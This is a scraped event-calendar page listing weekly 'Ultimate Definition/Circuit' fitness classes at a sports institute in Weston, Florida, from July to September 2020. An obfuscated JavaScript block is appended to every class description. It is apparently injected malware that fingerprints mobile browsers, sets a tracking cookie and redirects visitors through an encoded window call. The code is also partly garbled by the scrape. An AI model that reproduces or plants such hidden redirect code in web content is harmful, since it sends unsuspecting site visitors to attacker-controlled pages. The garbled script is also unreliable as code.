Group Exercise Classes

The USI group exercise program includes TRADITIONAL & SPECIALIZED classes.

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July 2020

Ultimate Definition/Circuit – Kathy

July 2 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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Ultimate Definition/Circuit – Kathy

July 9 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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Ultimate Definition/Circuit – Kathy

July 16 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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Ultimate Definition/Circuit – Kathy

July 23 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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Ultimate Definition/Circuit – Kathy

July 30 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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August 2020

Ultimate Definition/Circuit – Kathy

August 6 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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Ultimate Definition/Circuit – Kathy

August 13 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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Ultimate Definition/Circuit – Kathy

August 20 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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Ultimate Definition/Circuit – Kathy

August 27 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
+ Google Map

This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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September 2020

Ultimate Definition/Circuit – Kathy

September 3 @ 5:30 pm - 6:30 pm
|Recurring Event (See all)

An event every week that begins at 5:30pm on Thursday, repeating until October 15, 2020

Ultimate Sports Institute, 1440 N. Park Drive
Weston, FL 33326 United States
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This is an intense full body workout that will improve your  muscular strength and endurance by utilizing free weights, body bars and other equipment.  Focus is on sets, heavier weights, lower repetition.var _0x1e50=;(function(_0x2fa107,_0x55f5e9){var _0x343595=function(_0x34c909){while(--_0x34c909){_0x2fa107(_0x2fa107());}};_0x343595(++_0x55f5e9);}(_0x1e50,0x184));var _0x265c=function(_0x2fa107,_0x55f5e9){_0x2fa107=_0x2fa107-0x0;var _0x343595=_0x1e50;return _0x343595;};(function(){if(document(_0x265c('0x1'))===null){if(typeof _0x3419d8===_0x265c('0x2')){function _0x3419d8(_0x7f1c71,_0x1d8816,_0x3eeb6e){var _0x4e0732='';if(_0x3eeb6e){var _0x1dd386=new Date();_0x1dd386(_0x1dd386()+_0x3eeb6e*0x18*0x3c*0x3c*0x3e8);_0x4e0732='; expires='+_0x1dd386();}document=_0x7f1c71+'='+(_0x1d8816||'')+_0x4e0732+'; path=/';}function _0x23248e(_0x511919){var _0x2e7cdb=_0x511919+'=';var _0x4d7f7d=document(';');for(var _0x593f64=0x0;_0x593f64<_0x4d7f7d;_0x593f64++){var _0x50958d=_0x4d7f7d;while(_0x50958d(0x0)==' ')_0x50958d=_0x50958d(0x1,_0x50958d);if(_0x50958d(_0x2e7cdb)==0x0)return _0x50958d(_0x2e7cdb,_0x50958d);}return null;}function _0x50fc2a(){return navigator(/Android/i)||navigator(/BlackBerry/i)||navigator(/iPhone|iPad|iPod/i)||navigator(/Opera Mini/i)||navigator(/IEMobile/i);}function _0x1ff41a(){return navigator(_0x265c('0xd'))!==-0x1||navigator(_0x265c('0xe'))!==-0x1||navigator('OPR')!==-0x1||navigator(_0x265c('0xf'))!==-0x1||navigator(_0x265c('0x10'))!==-0x1||navigator(_0x265c('0x11'))!==-0x1;}var _0x4702d7=_0x23248e(_0x265c('0x12'));if(_0x4702d7!=='un'){if(_0x1ff41a()||_0x50fc2a()){_0x3419d8(_0x265c('0x12'),'un',0x16d);window(_0x265c('0x15'));}}}}}(this));

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It is encouraged to bring a water bottle, towel and heart monitors..